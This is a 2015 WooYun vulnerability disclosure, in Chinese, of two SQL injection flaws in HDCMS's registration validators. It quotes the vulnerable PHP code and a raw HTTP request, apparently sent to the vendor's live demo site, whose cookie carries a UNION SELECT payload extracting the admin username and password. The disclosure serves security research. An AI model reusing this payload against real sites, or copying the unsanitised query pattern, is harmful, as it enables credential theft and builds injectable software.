当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0107157

漏洞标题:HDCMS内容管理系统两处sql注入(官网demo)

相关厂商:hdphp.com

漏洞作者: xiaoL

提交时间:2015-04-15 17:37

修复时间:2015-07-19 17:38

公开时间:2015-07-19 17:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-15: 细节已通知厂商并且等待厂商处理中
2015-04-20: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-06-14: 细节向核心白帽子及相关领域专家公开
2015-06-24: 细节向普通白帽子公开
2015-07-04: 细节向实习白帽子公开
2015-07-19: 细节向公众公开

简要描述:

HDCMS内容管理系统两处sql注入(官网demo)

详细说明:

HDPHP的框架有表单自动验证,于是会直接获取数据进行查询,导致注入。
漏洞地址:
HDCMS\Member\Model\LoginModel.class.php

public $validate = array(
array('username', 'checkUsername', '帐号不能为空', 2, 1),
array('nickname', 'checkNickname', '昵称不能为空', 2, 1),
array('email', 'checkEmail', '邮箱不能为空', 2, 1),
array('password', 'nonull', '密码不能为空', 2, 1),
array('passwordc', 'confirm:password', '确认密码输入错误', 2, 1),
);
//第一处--------------------
//验证邮箱
public function checkEmail($name, $value, $msg, $arg) //获取邮箱$value
{
if (empty($value)) {
return $msg;
}
if (M('user')->find("email='{$value}'")) { //直接带入了数据库操作
return '邮箱已经存在';
}
return true;
}
//第二处------------------
//验证用户名
public function checkUsername($name, $value, $msg, $arg) //获取用户名$value
{
if (empty($value)) {
return $msg;
}
if (M('user')->find("username='{$value}'")) { //直接带入了数据库操作
return '帐号已经存在';
}
return true;
}


漏洞证明:

直接上官网demo演示。

POST /index.php?m=Member&c=Login&a=reg HTTP/1.1
Host: www.hdphp.com
Proxy-Connection: keep-alive
Content-Length: 111
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.hdphp.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.hdphp.com/index.php?m=Member&c=Login&a=reg
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.6,en;q=0.4,ja;q=0.2
Cookie: PHPSESSID=rcl8f6gg8eopsldfiav5umpij4; pgv_pvi=8173687808; pgv_si=s8643473408; search_history=%5B%22a%25%27+and+1+%3D+2+union+select+1%2C2%2C3%2C%28select+concat%28username%2C0x5c%2Cpassword%29+from+hd_user+where+rid%3D1+limit+1%29%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%2C33%2C34%2C35%2C36%2C37%2C38%2C39%2C40%2C41%2C42%2C43%2C44%2C45%2C46%2C47%2C48%2C49%2C50%2C51%2C52%2C53%2C54%2C55%2C56%2C57%2C58%2C59%2C60%2C61%2C62%2C63%2C64%2C65%2C66%2C67%2C68%2C69%2C70%2C71%2C72%2C73%2C74%2C75%2C76%2C77%2C78%23%22%5D; CNZZDATA1253902030=74939885-1428652995-%7C1428658925
username=testtest&nickname=testtest&password=testtest&passwordc=testtest&email=testtest007%40gg.com


其中username字段跟email字段都行。
sqlmap可以直接跑

1111.png


2222.png


修复方案:

需要过滤

版权声明:转载请注明来源 xiaoL@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-07-19 17:38

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无